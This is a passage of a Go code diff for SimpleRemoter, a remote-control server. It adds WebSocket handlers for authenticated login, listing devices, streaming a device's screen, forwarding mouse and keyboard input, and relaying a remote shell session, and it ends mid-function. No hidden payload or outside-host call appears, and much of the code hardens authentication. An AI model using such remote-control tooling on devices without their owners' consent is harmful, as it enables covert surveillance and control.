// caller instead of being lost inside the goroutine after a misleading
// "started" log line.
ln, err := net.Listen("tcp", s.srv.Addr)
if err != nil {
return fmt.Errorf("listen on :%d: %w", s.port, err)
}
s.log.Info("HTTP server started on :%d", s.port)
go func() {
if err := s.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
s.log.Error("HTTP server stopped: %v", err)
}
}()
return nil
}
// Stop gracefully shuts the server down.
func (s *Server) Stop() {
if s.ws != nil {
s.ws.stop()
}
if s.srv == nil {
return
}
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
_ = s.srv.Shutdown(ctx)
}
func (s *Server) handleIndex(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" && r.URL.Path != "/index.html" {
http.NotFound(w, r)
return
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Header().Set("Cache-Control", "no-cache")
_, _ = w.Write(IndexHTML)
}
func (s *Server) handleHealth(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"status":"ok"}`))
}
// handleDevices returns a JSON snapshot of currently-online devices. Empty
// array (not null) when no clients are connected — matches what the front-end
// will eventually expect. Auth-gated via requireBearer.
func (s *Server) handleDevices(w http.ResponseWriter, r *http.Request) {
devices := s.hub.ListDevices()
w.Header().Set("Content-Type", "application/json; charset=utf-8")
w.Header().Set("Cache-Control", "no-store")
if err := json.NewEncoder(w).Encode(devices); err != nil {
s.log.Error("encode /api/devices: %v", err)
}
}
// requireBearer wraps a handler with `Authorization: Bearer <token>` auth
// against the same session-token store the WebSocket uses. Returns 401 on
// missing / invalid / expired tokens. Used to gate REST endpoints that
// previously fell through with no auth (notably /api/devices, which
// otherwise leaks the full online-device list to anyone on the internet).
func (s *Server) requireBearer(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
const prefix = "Bearer "
hdr := r.Header.Get("Authorization")
if !strings.HasPrefix(hdr, prefix) {
s.unauthorized(w)
return
}
token := strings.TrimSpace(hdr[len(prefix):])
if token == "" {
s.unauthorized(w)
return
}
if _, err := s.auth.ValidateToken(token); err != nil {
s.unauthorized(w)
return
}
next(w, r)
}
}
func (s *Server) unauthorized(w http.ResponseWriter) {
w.Header().Set("WWW-Authenticate", `Bearer realm="yama"`)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusUnauthorized)
_, _ = w.Write([]byte(`{"error":"unauthorized"}`))
}
// PWA manifest. Referenced by <link rel="manifest"> in index.html.
// Static JSON, no template needed.
const manifestJSON = `{
"name": "SimpleRemoter",
"short_name": "Remoter",
"start_url": "/",
"display": "standalone",
"orientation": "any",
"background_color": "#1a1a2e",
"theme_color": "#1a1a2e"
}`
func (s *Server) handleManifest(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/manifest+json")
w.Header().Set("Cache-Control", "public, max-age=86400")
_, _ = w.Write([]byte(manifestJSON))
}
// staticHandler returns an http.HandlerFunc that serves a fixed byte slice
// with the given content-type. Used for embedded third-party assets (xterm.js etc.)
// that change infrequently — 1-day browser cache is fine.
func staticHandler(body []byte, contentType string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", contentType)
w.Header().Set("Cache-Control", "public, max-age=86400")
_, _ = w.Write(body)
}
}

479
server/go/web/ws.go Normal file
View File

@@ -0,0 +1,479 @@
package web
import (
"encoding/json"
"net"
"net/http"
"net/url"
"strings"
"sync"
"time"
"github.com/gorilla/websocket"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
)
// ----- WS framing knobs ---------------------------------------------------
const (
wsWriteWait = 10 * time.Second // single-frame write deadline
wsReadLimit = 1 << 20 // refuse incoming frames over 1 MB
wsSendBuffer = 64 // outbound queue depth per client
)
// baseUpgrader carries the buffer-size config shared by all WS upgrades.
// CheckOrigin is set per-hub in wsHub.upgradeWS so the allowlist is
// closed-over per instance instead of being a global mutable.
var baseUpgrader = websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
}
// ----- per-connection client state ----------------------------------------
// wsMsg is one queued WebSocket frame. binary toggles between
// websocket.TextMessage (JSON signaling) and websocket.BinaryMessage
// (screen frames).
type wsMsg struct {
binary bool
data []byte
}
type wsClient struct {
conn *websocket.Conn
send chan wsMsg
closed chan struct{}
once sync.Once
// Mutated under wsHub.mu (or only by the read loop owning this client).
nonce string // outstanding challenge — cleared after a successful login
token string // set once authenticated
role string // mirrors session role after login
addr string // client address for logs
watching string // device ID this browser is currently streaming, "" when on the list
termWatching string // device ID for an open web terminal session, "" otherwise
}
// queue writes a JSON text frame onto the send buffer. Drops silently if the
// buffer is full so a stuck reader can't back-pressure the broadcast path.
func (c *wsClient) queue(payload []byte) {
c.enqueue(wsMsg{binary: false, data: payload})
}
// queueBinary writes a binary WS frame. Used for screen-stream packets.
func (c *wsClient) queueBinary(payload []byte) {
c.enqueue(wsMsg{binary: true, data: payload})
}
func (c *wsClient) enqueue(m wsMsg) {
select {
case c.send <- m:
case <-c.closed:
default:
// queue full — drop (acceptable for video; signaling clients are
// typically not behind enough for the small text buffer to fill).
}
}
// close signals both loops to exit. Safe to call multiple times.
func (c *wsClient) close() {
c.once.Do(func() {
close(c.closed)
_ = c.conn.Close()
})
}
// ----- ws hub: registry of all connected browsers -------------------------
type wsHub struct {
auth *wsauth.Authenticator
devices *hub.Hub
log *logger.Logger
mu sync.RWMutex
clients map[*wsClient]struct{}
unsub func()
// Hardening knobs wired from server.Config. Nil/empty values mean
// "no extra restriction" — useful for local dev where the hub is
// exercised without server.Server wiring up the env-driven defaults.
allowedOrigins []string // empty → only same-origin upgrades accepted
loginIPLimit *wsauth.RateLimiter
loginUserLimit *wsauth.RateLimiter
trustForwardedFor bool // honor X-Forwarded-For (only when behind a trusted proxy)
}
func newWSHub(auth *wsauth.Authenticator, devices *hub.Hub, log *logger.Logger) *wsHub {
h := &wsHub{
auth: auth,
devices: devices,
log: log,
clients: make(map[*wsClient]struct{}),
}
h.unsub = devices.Subscribe(h)
return h
}
// withOriginAllowlist returns h after installing the explicit Origin
// allowlist. Chainable. Pass empty/nil to keep "same-origin only".
func (h *wsHub) withOriginAllowlist(origins []string) *wsHub {
h.allowedOrigins = origins
return h
}
// withLoginRateLimiters wires per-IP and per-username throttles into
// the login flow. Either may be nil to disable that dimension.
func (h *wsHub) withLoginRateLimiters(byIP, byUser *wsauth.RateLimiter) *wsHub {
h.loginIPLimit = byIP
h.loginUserLimit = byUser
return h
}
// withTrustForwardedFor opts in to using the last entry of the
// X-Forwarded-For header as the client IP. Safe only when the server is
// behind a reverse proxy that you control.
func (h *wsHub) withTrustForwardedFor(trust bool) *wsHub {
h.trustForwardedFor = trust
return h
}
// checkOrigin decides whether to accept a WebSocket upgrade based on
// the request's Origin header. Same-origin (Origin host == Host) is
// always accepted; explicit allowlist entries cover the
// PWA-from-different-domain or local-dev cases.
//
// An empty Origin header is rejected: a legitimate browser always sends
// it on cross-origin requests, and same-origin requests have it too in
// modern Chrome/Safari/Firefox. Non-browser clients (curl, scripts) that
// omit Origin shouldn't be talking to the WS endpoint anyway.
func (h *wsHub) checkOrigin(r *http.Request) bool {
origin := r.Header.Get("Origin")
if origin == "" {
return false
}
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return false
}
// Same-origin (Origin host matches the Host the request came in on).
// Strip any port mismatch: if the server is behind a proxy, Host may
// not include a port while Origin does (or vice versa), so compare
// the hostname components.
originHost := u.Hostname()
reqHost := stripPort(r.Host)
if originHost == reqHost && originHost != "" {
return true
}
// Explicit allowlist entries — match Origin in full (scheme + host
// + port) so a customer can pin exactly one trusted PWA origin.
for _, allowed := range h.allowedOrigins {
if allowed == "" {
continue
}
if strings.EqualFold(origin, strings.TrimSpace(allowed)) {
return true
}
}
return false
}
func stripPort(hostport string) string {
if h, _, err := net.SplitHostPort(hostport); err == nil {
return h
}
return hostport
}
// clientIP returns the source IP of an HTTP request. By default uses
// r.RemoteAddr (the actual TCP peer); this is the only safe choice when
// the server is directly exposed to the internet, because a malicious
// client can put anything in X-Forwarded-For and would otherwise rotate
// it to evade per-IP rate limits.
//
// When `trustForwardedFor` is true the LAST entry of X-Forwarded-For is
// returned instead — appropriate only when running behind a reverse
// proxy that you control and that overwrites/appends the header (caddy,
// nginx with proper config, etc). Toggled via the YAMA_WEB_TRUST_PROXY
// env var at startup.
func clientIP(r *http.Request, trustForwardedFor bool) string {
if trustForwardedFor {
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
// Take the LAST entry — the closest hop, i.e. our own
// trusted proxy's view of the peer. Trusting the first
// entry would let a malicious client at the head of the
// chain set an arbitrary value.
parts := strings.Split(xff, ",")
ip := strings.TrimSpace(parts[len(parts)-1])
if ip != "" {
return ip
}
}
}
return stripPort(r.RemoteAddr)
}
// stop unsubscribes from the device hub. Existing connections keep running
// until they close on their own; we only block new event delivery.
func (h *wsHub) stop() {
if h.unsub != nil {
h.unsub()
h.unsub = nil
}
}
// hub.EventHandler — invoked from hub.Register / hub.Unregister.
func (h *wsHub) OnDeviceOnline(_ hub.DeviceInfo) {
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
}
func (h *wsHub) OnDeviceOffline(_ string) {
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
}
// OnCursorChange relays the remote cursor index to every viewer of this
// device. The browser maps the index to a CSS cursor (desktop) or overlay
// SVG variant (touch). Hub already de-duplicates so we always have a real
// transition here.
func (h *wsHub) OnCursorChange(deviceID string, index byte) {
msg := mustJSON(map[string]any{
"cmd": "cursor",
"index": index,
})
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.watching == deviceID && c.token != "" {
c.queue(msg)
}
}
}
// OnResolutionChange notifies viewers so the browser-side WebCodecs decoder
// can be (re)initialized with the right frame size. Without this, incoming
// binary frames after connect_result are decoded by an uninitialized
// VideoDecoder and the page stays on "Waiting for video...".
func (h *wsHub) OnResolutionChange(deviceID string, width, height int) {
msg := mustJSON(map[string]any{
"cmd": "resolution_changed",
"id": deviceID,
"width": width,
"height": height,
})
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.watching == deviceID && c.token != "" {
c.queue(msg)
}
}
}
// OnScreenFrame ships a screen packet to every browser currently watching
// this device. We hold the read lock for the whole iteration, but each
// queueBinary is non-blocking (drops on backpressure) so a slow viewer
// cannot stall the fast ones.
func (h *wsHub) OnScreenFrame(deviceID string, packet []byte, _ bool) {
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.watching == deviceID && c.token != "" {
c.queueBinary(packet)
}
}
}
// OnTerminalReady notifies the requesting browser that its term_open
// handshake completed. mode is "pty" or "legacy" — xterm.js disables the
// resize callback in legacy mode (no PTY behind the cmd pipe).
func (h *wsHub) OnTerminalReady(deviceID string, isPTY bool) {
mode := "legacy"
if isPTY {
mode = "pty"
}
msg := mustJSON(map[string]any{
"cmd": "term_ready",
"id": deviceID,
"mode": mode,
})
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.termWatching == deviceID && c.token != "" {
c.queue(msg)
}
}
}
// OnTerminalData ships one chunk of raw shell output (already wrapped in
// the "TRM1" magic header) over the binary WS frame. Single-viewer is
// enforced upstream so at most one client matches per device.
func (h *wsHub) OnTerminalData(deviceID string, packet []byte) {
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.termWatching == deviceID && c.token != "" {
c.queueBinary(packet)
}
}
}
// OnTerminalClosed fires when the device's shell exits or the sub-conn
// drops. The browser closes its xterm panel. We also clear termWatching
// so a subsequent term_open from the same browser isn't rejected as
// "already open" by stale state.
func (h *wsHub) OnTerminalClosed(deviceID string, reason string) {
msg := mustJSON(map[string]any{
"cmd": "term_closed",
"ok": true,
"reason": reason,
})
h.mu.Lock()
defer h.mu.Unlock()
for c := range h.clients {
if c.termWatching == deviceID && c.token != "" {
c.termWatching = ""
c.queue(msg)
}
}
}
// OnDeviceUpdate forwards heartbeat-derived liveness data so the device-list
// rows can refresh RTT and active-window labels without re-fetching.
func (h *wsHub) OnDeviceUpdate(id string, rtt int, activeWindow string) {
payload := mustJSON(map[string]any{
"cmd": "device_update",
"id": id,
"rtt": rtt,
"activeWindow": activeWindow,
})
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.token != "" {
c.queue(payload)
}
}
}
func (h *wsHub) broadcastAuthenticated(msg string) {
payload := []byte(msg)
h.mu.RLock()
defer h.mu.RUnlock()
for c := range h.clients {
if c.token != "" {
c.queue(payload)
}
}
}
func (h *wsHub) register(c *wsClient) {
h.mu.Lock()
h.clients[c] = struct{}{}
h.mu.Unlock()
}
func (h *wsHub) unregister(c *wsClient) {
h.mu.Lock()
delete(h.clients, c)
h.mu.Unlock()
// If this client was the last viewer of a device, tear down the screen
// session so the device stops encoding. Done OUTSIDE the lock so the
// hub's mutators can take their own locks without risk of recursion.
if c.watching != "" && h.countWatchers(c.watching) == 0 {
h.devices.CloseScreen(c.watching)
}
// Terminal sessions are single-viewer by design, so any open session
// belongs to this client. Tear it down so the next viewer doesn't
// hit ErrTerminalBusy from an abandoned session.
if c.termWatching != "" {
h.devices.CloseTerminalSession(c.termWatching)
c.termWatching = ""
}
// Do NOT revoke the token: tokens are session-scoped, not WS-scoped.
// Frontend may close+reopen the WS at any time (visibilitychange handler,
// brief network blip, reload) and must be able to resume with the same
// cached token. The token expires on its own TTL.
c.close()
}
// ----- HTTP handler -------------------------------------------------------
func (h *wsHub) serve(w http.ResponseWriter, r *http.Request) {
// Build a per-call upgrader so CheckOrigin closes over this hub's
// allowlist instead of a package-level mutable.
upgrader := baseUpgrader
upgrader.CheckOrigin = h.checkOrigin
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
h.log.Error("ws upgrade: %v", err)
return
}
conn.SetReadLimit(wsReadLimit)
nonce, err := wsauth.NewNonce()
if err != nil {
h.log.Error("nonce gen: %v", err)
_ = conn.Close()
return
}
client := &wsClient{
conn: conn,
send: make(chan wsMsg, wsSendBuffer),
closed: make(chan struct{}),
nonce: nonce,
addr: clientIP(r, h.trustForwardedFor),
}
h.register(client)
defer h.unregister(client)
go h.writeLoop(client)
// Greet with a challenge nonce so the browser can compute the login response.
client.queue([]byte(`{"cmd":"challenge","nonce":"` + nonce + `"}`))
h.readLoop(client)
}
// writeLoop drains the send queue. Exits when the channel is closed or a
// write fails. Closing the underlying connection is the read loop's job.
func (h *wsHub) writeLoop(c *wsClient) {
for {
select {
case msg := <-c.send:
msgType := websocket.TextMessage
if msg.binary {
msgType = websocket.BinaryMessage
}
_ = c.conn.SetWriteDeadline(time.Now().Add(wsWriteWait))
if err := c.conn.WriteMessage(msgType, msg.data); err != nil {
c.close()
return
}
case <-c.closed:
return
}
}
}
// readLoop dispatches incoming messages. Exits on read error (peer closed,
// timeout, malformed frame, etc.), which then triggers unregister cleanup.
func (h *wsHub) readLoop(c *wsClient) {
for {
_, raw, err := c.conn.ReadMessage()
if err != nil {
return
}
var env struct {
Cmd string `json:"cmd"`
}
if err := json.Unmarshal(raw, &env); err != nil {
continue // ignore garbage frames
}
h.dispatch(c, env.Cmd, raw)
}
}

View File

@@ -0,0 +1,754 @@
package web
import (
"encoding/json"
"sort"
"time"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
)
// dispatch routes one inbound message to its handler. The `raw` payload is
// passed through so handlers can re-parse to their own shape.
//
// Phase 3 implements: get_salt, login, get_devices, ping, disconnect.
// Phase 4 adds: connect, screen frame relay.
// Phase 5 adds: mouse, key (input forwarding to the device screen sub-conn).
// Phase 6 adds: term_open / term_input / term_resize / term_close (PTY relay).
// Phase 7 covers admin: create_user / delete_user / list_users / get_groups.
func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
switch cmd {
case "get_salt":
h.handleGetSalt(c, raw)
case "login":
h.handleLogin(c, raw)
case "get_devices":
h.handleGetDevices(c, raw)
case "ping":
// no-op heartbeat; the read itself was the keep-alive signal
case "disconnect":
h.handleDisconnect(c, raw)
case "connect":
h.handleConnect(c, raw)
case "rdp_reset":
// silently ignored — UI uses this as a fire-and-forget
case "mouse":
h.handleMouse(c, raw)
case "key":
h.handleKey(c, raw)
case "term_open":
h.handleTermOpen(c, raw)
case "term_input":
h.handleTermInput(c, raw)
case "term_resize":
h.handleTermResize(c, raw)
case "term_close":
h.handleTermClose(c, raw)
// Admin operations (Phase 7).
case "create_user":
h.handleCreateUser(c, raw)
case "delete_user":
h.handleDeleteUser(c, raw)
case "list_users":
h.handleListUsers(c, raw)
case "get_groups":
h.handleGetGroups(c, raw)
}
}
// requireAdmin combines token validation with a role=="admin" check. The
// reply on failure has the standard `{cmd, ok:false, msg}` shape so the
// front-end's generic toast handler can surface the reason.
func (h *wsHub) requireAdmin(c *wsClient, raw []byte, replyCmd string) (ok bool) {
if !h.requireAuth(c, raw, replyCmd) {
return false
}
// c.role is cached on first successful requireAuth; safe to read here.
if c.role != "admin" {
c.queue(mustJSON(map[string]any{
"cmd": replyCmd, "ok": false, "msg": "Permission denied",
}))
return false
}
return true
}
// ----- handlers ------------------------------------------------------------
func (h *wsHub) handleGetSalt(c *wsClient, raw []byte) {
// Throttle the salt-probe surface together with login: an attacker
// who can poll get_salt freely would otherwise still learn nothing
// (the unknown-user fake salt mitigation handles that), but the
// endpoint is otherwise free CPU on the server. Limiting by IP is
// enough; we don't have a username yet to limit by user.
if !h.allowLoginByIP(c) {
// Stall the response so a tight-loop attacker doesn't flood the
// queue. Still return a well-formed salt to avoid making the
// limit detectable from the client side.
time.Sleep(250 * time.Millisecond)
}
var in struct {
Username string `json:"username"`
}
_ = json.Unmarshal(raw, &in)
salt, _ := h.auth.GetSalt(in.Username)
// GetSalt now returns a deterministic fake salt (16 hex chars) for
// unknown users — same shape as a real salt — so an attacker can't
// tell from this response alone whether the username exists.
c.queue(mustJSON(map[string]any{
"cmd": "salt",
"ok": true,
"salt": salt,
}))
}
func (h *wsHub) handleLogin(c *wsClient, raw []byte) {
var in struct {
Username string `json:"username"`
Response string `json:"response"`
Nonce string `json:"nonce"`
}
if err := json.Unmarshal(raw, &in); err != nil {
c.queue(mustJSON(map[string]any{"cmd": "login_result", "ok": false, "msg": "Invalid request"}))
return
}
// Rate-limit BEFORE doing the hash work, so a flood doesn't pin CPU.
// Two-dimensional throttle: per-IP catches scanners that try many
// usernames; per-username catches scanners that rotate IPs against a
// known account (admin). Either dimension tripping rejects the call
// with a uniform "credentials" error so the limit is not detectable.
if !h.allowLoginByIP(c) || !h.allowLoginByUsername(in.Username) {
h.log.Warn("ws login throttled: user=%s addr=%s", in.Username, c.addr)
// Burn the challenge so the attacker can't immediately replay.
c.nonce = ""
time.Sleep(500 * time.Millisecond)
c.queue(mustJSON(map[string]any{"cmd": "login_result", "ok": false, "msg": "Invalid credentials"}))
return
}
// Bind the response to the challenge we issued at connect time so that
// replays from a different connection can't reuse a captured response.
if in.Nonce == "" || in.Nonce != c.nonce {
c.queue(mustJSON(map[string]any{"cmd": "login_result", "ok": false, "msg": "Invalid challenge"}))
return
}
token, role, err := h.auth.VerifyLogin(in.Username, in.Response, in.Nonce)
if err != nil {
// Burn the challenge on failure too — forces a new round on retry.
c.nonce = ""
// Fixed delay on failure: makes online brute force impractical
// even within the rate-limit budget, and erases the timing
// difference between "wrong password" and "wrong nonce".
time.Sleep(250 * time.Millisecond)
c.queue(mustJSON(map[string]any{"cmd": "login_result", "ok": false, "msg": "Invalid credentials"}))
return
}
// Successful login: clear the per-IP/per-user budgets so a legitimate
// user who fat-fingered a few times doesn't stay throttled.
h.resetLoginThrottle(c, in.Username)
c.nonce = ""
c.token = token
c.role = role
h.log.Info("ws login: user=%s role=%s addr=%s", in.Username, role, c.addr)
c.queue(mustJSON(map[string]any{
"cmd": "login_result",
"ok": true,
"token": token,
"role": role,
}))
}
// allowLoginByIP / allowLoginByUsername return true when the call is
// within budget; nil limiter always returns true (effectively disabled).
func (h *wsHub) allowLoginByIP(c *wsClient) bool {
if h.loginIPLimit == nil || c == nil || c.addr == "" {
return true
}
return h.loginIPLimit.Allow(c.addr)
}
func (h *wsHub) allowLoginByUsername(username string) bool {
if h.loginUserLimit == nil || username == "" {
return true
}
return h.loginUserLimit.Allow(username)
}
func (h *wsHub) resetLoginThrottle(c *wsClient, username string) {
if h.loginIPLimit != nil && c != nil && c.addr != "" {
h.loginIPLimit.Reset(c.addr)
}
if h.loginUserLimit != nil && username != "" {
h.loginUserLimit.Reset(username)
}
}
// handleConnect kicks off a screen-sharing session for the browser. We send
// COMMAND_SCREEN_SPY to the device's main TCP connection; the device then
// opens a new sub-connection (TOKEN_BITMAPINFO) which the TCP side binds to
// the device via hub.BindScreenConn. Frame relay to the browser is handled
// in Phase 4.2 once frames actually arrive.
//
// Reply semantics: returning connect_result.ok=true (without width/height)
// triggers the browser's "Waiting for video..." spinner. We can't deliver
// width/height here because we don't yet know them — they show up in the
// first TOKEN_BITMAPINFO from the device.
// handleDisconnect detaches this client from any device it was watching and
// — if no other authenticated client is still watching — closes the device's
// screen sub-connection. Closing the TCP sub-conn is the signal the C++
// device firmware uses to stop screen capture, so this is how we ask the
// device to free its encoder.
func (h *wsHub) handleDisconnect(c *wsClient, _ []byte) {
// Mirror handleConnect: take h.mu so event-handler readers
// (OnResolutionChange/OnScreenFrame) get a consistent view of c.watching.
h.mu.Lock()
prev := c.watching
c.watching = ""
h.mu.Unlock()
c.queue([]byte(`{"cmd":"disconnect_result","ok":true}`))
if prev != "" && h.countWatchers(prev) == 0 {
h.devices.CloseScreen(prev)
}
}
// countWatchers returns how many authenticated clients still have their
// `watching` field pointing at deviceID. Called from disconnect paths.
func (h *wsHub) countWatchers(deviceID string) int {
h.mu.RLock()
defer h.mu.RUnlock()
n := 0
for c := range h.clients {
if c.watching == deviceID {
n++
}
}
return n
}
func (h *wsHub) handleConnect(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "connect_result") {
return
}
var in struct {
ID string `json:"id"`
}
if err := json.Unmarshal(raw, &in); err != nil || in.ID == "" {
c.queue(mustJSON(map[string]any{"cmd": "connect_result", "ok": false, "msg": "Bad request"}))
return
}
// If a screen session is already live for this device (another browser
// is already watching), reuse it: hand the new viewer the current
// resolution and the most recent IDR keyframe so its decoder can start
// rendering immediately, without waiting for the next IDR (~15 s).
cache := h.devices.ScreenState(in.ID)
if cache.Active {
c.queue(mustJSON(map[string]any{
"cmd": "connect_result", "ok": true,
"width": cache.Width, "height": cache.Height,
}))
if len(cache.Keyframe) > 0 {
c.queueBinary(cache.Keyframe)
}
h.mu.Lock()
c.watching = in.ID
h.mu.Unlock()
return
}
// No active session — kick the device to start capturing. We send the
// same 32-byte COMMAND_SCREEN_SPY payload the C++ WebService sends:
// [0]=COMMAND_SCREEN_SPY, [1]=0 (GDI), [2]=ALGORITHM_H264, [3]=1 (multi-screen),
// [4..31]=0.
cmd := make([]byte, 32)
cmd[0] = protocol.CommandScreenSpy
cmd[2] = protocol.AlgorithmH264
cmd[3] = 1
// CRITICAL: bind c.watching BEFORE asking the device to start capturing.
// On fast reconnects the device's screen sub-conn handshake completes in
// <100 ms, so TOKEN_BITMAPINFO and even the first H264 frame can arrive
// before this handler finishes — and the resolution_changed / frame
// broadcasts in wsHub filter on c.watching. With the assignment after
// SendToDevice the new viewer silently misses the very first IDR and
// resolution_changed, leaving the page stuck on "Waiting for video".
//
// The write needs to share the lock event handlers use to read c.watching
// (they iterate h.clients under h.mu.RLock). Without that the write is a
// data race; on a fast reconnect the reader goroutine can keep observing
// the previous value ("") long enough to drop the first resolution_changed
// and the first IDR, which produces the exact "every other quick reconnect
// goes black" symptom — the C++ server avoids it because it does the same
// state mutation under std::mutex and reaps the memory-barrier as a bonus.
h.mu.Lock()
c.watching = in.ID
h.mu.Unlock()
if err := h.devices.SendToDevice(in.ID, cmd); err != nil {
// Roll back the watching flag if we never managed to kick capture.
h.mu.Lock()
c.watching = ""
h.mu.Unlock()
msg := "Device offline"
if err != hub.ErrDeviceOffline {
msg = "Failed to start screen capture"
h.log.Error("SendToDevice(%s): %v", in.ID, err)
}
c.queue(mustJSON(map[string]any{"cmd": "connect_result", "ok": false, "msg": msg}))
return
}
h.log.Info("[timing] COMMAND_SCREEN_SPY sent to device=%s (cold start)", in.ID)
c.queue(mustJSON(map[string]any{"cmd": "connect_result", "ok": true}))
}
func (h *wsHub) handleGetDevices(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "device_list") {
return
}
devices := h.devices.ListDevices()
c.queue(mustJSON(map[string]any{
"cmd": "device_list",
"ok": true,
"devices": devices,
}))
}
// requireAuth validates the token embedded in raw against the authenticator's
// session store (not against c.token). Tokens live independently of WS
// connections — the browser may reconnect after a visibility/network blip and
// resume with the same token, so we must not tie validity to one WS lifetime.
// On the first authenticated message we cache the token/role on the wsClient
// so broadcasts know to deliver to this connection.
func (h *wsHub) requireAuth(c *wsClient, raw []byte, replyCmd string) bool {
var in struct {
Token string `json:"token"`
}
_ = json.Unmarshal(raw, &in)
if in.Token == "" {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false}))
return false
}
sess, err := h.auth.ValidateToken(in.Token)
if err != nil {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false}))
return false
}
if c.token == "" {
c.token = in.Token
c.role = sess.Role
}
return true
}
// handleMouse forwards one mouse event from the browser to the device's
// screen sub-connection as a COMMAND_SCREEN_CONTROL packet carrying a
// single MSG64. Mirrors the C++ CWebService::HandleMouse path
// (server/2015Remote/WebService.cpp:773) so the client's
// CScreenManager::ProcessCommand sees identical bytes regardless of which
// server is serving the device. Unauthenticated and unknown event types
// drop silently — input is high-frequency, error replies would just spam
// the WS.
func (h *wsHub) handleMouse(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "mouse_result") {
return
}
var in struct {
Type string `json:"type"`
X int32 `json:"x"`
Y int32 `json:"y"`
Button int `json:"button"`
Delta int `json:"delta"`
}
if err := json.Unmarshal(raw, &in); err != nil {
return
}
deviceID := c.watching
if deviceID == "" {
return // browser hasn't picked a device yet
}
var message, wParam uint64
switch in.Type {
case "down":
switch in.Button {
case 0:
message, wParam = protocol.WMLButtonDown, protocol.MKLButton
case 1:
message, wParam = protocol.WMMButtonDown, protocol.MKMButton
case 2:
message, wParam = protocol.WMRButtonDown, protocol.MKRButton
default:
return
}
case "up":
switch in.Button {
case 0:
message = protocol.WMLButtonUp
case 1:
message = protocol.WMMButtonUp
case 2:
message = protocol.WMRButtonUp
default:
return
}
case "move":
message = protocol.WMMouseMove
case "wheel":
message = protocol.WMMouseWheel
// Windows expects ±120 per notch in HIWORD(wParam). Browsers report
// `deltaY` in pixels with sign flipped relative to Win32 conventions
// (positive deltaY = scroll down). Normalize to one notch per call,
// signed so up scrolls "up" on the remote.
var wheel int16
switch {
case in.Delta > 0:
wheel = -120
case in.Delta < 0:
wheel = 120
}
wParam = uint64(uint16(wheel)) << 16
case "dblclick":
// Windows synthesizes double-click from rapid down/up sequences, so
// the C++ server only forwards this for macOS clients. We don't
// currently track client OS on the Go side; drop the event — the
// down/up pair the browser already sent is sufficient on Windows.
return
default:
return
}
lParam := protocol.MakeLParam(in.X, in.Y)
pkt := protocol.BuildScreenControlPacket(message, wParam, lParam, in.X, in.Y, tickMillis())
_ = h.devices.SendToScreen(deviceID, pkt)
}
// handleKey forwards one keyboard event to the device. lParam is built to
// match the Windows convention so applications relying on TranslateMessage
// (e.g. text input fields) behave correctly. Mirrors
// CWebService::HandleKey at server/2015Remote/WebService.cpp:878.
//
// Scan code: the C++ server resolves the VK -> scan code via the local
// MapVirtualKey. Go is cross-platform so we leave the scan-code bits zero;
// the client side ultimately delivers events via SendInput/keybd_event
// which accept VK-only input, and the extended-key bit (bit 24) is what
// actually matters for distinguishing numpad/arrow keys.
func (h *wsHub) handleKey(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "key_result") {
return
}
var in struct {
KeyCode int `json:"keyCode"`
Down bool `json:"down"`
Alt bool `json:"alt"`
}
if err := json.Unmarshal(raw, &in); err != nil {
return
}
if in.KeyCode == protocol.VKLWin || in.KeyCode == protocol.VKRWin {
return // Windows keys stay local; matches both C++ server and client
}
deviceID := c.watching
if deviceID == "" {
return
}
var message uint64
switch {
case in.Alt && in.Down:
message = protocol.WMSysKeyDown
case in.Alt && !in.Down:
message = protocol.WMSysKeyUp
case in.Down:
message = protocol.WMKeyDown
default:
message = protocol.WMKeyUp
}
// lParam layout (Win32 keyboard message):
// bits 0..15: repeat count (= 1)
// bits 16..23: scan code (we leave zero — see handleKey doc)
// bit 24: extended-key flag (arrows, numpad, RCtrl, RAlt, ...)
// bit 29: context code (Alt held)
// bits 30..31: previous-key/transition flags (both set on key-up)
lParam := uint64(1)
if protocol.IsExtendedKey(in.KeyCode) {
lParam |= 1 << 24
}
if in.Alt {
lParam |= 1 << 29
}
if !in.Down {
lParam |= 3 << 30
}
wParam := uint64(uint32(in.KeyCode))
pkt := protocol.BuildScreenControlPacket(message, wParam, lParam, 0, 0, tickMillis())
_ = h.devices.SendToScreen(deviceID, pkt)
}
// handleCreateUser provisions a new web account. Admin-only. Mirrors the
// C++ CWebService::HandleCreateUser semantics (WebService.cpp:1009): the
// password is hashed with a fresh salt, the user table is persisted, and
// any duplicate username is rejected.
func (h *wsHub) handleCreateUser(c *wsClient, raw []byte) {
const replyCmd = "create_user_result"
if !h.requireAdmin(c, raw, replyCmd) {
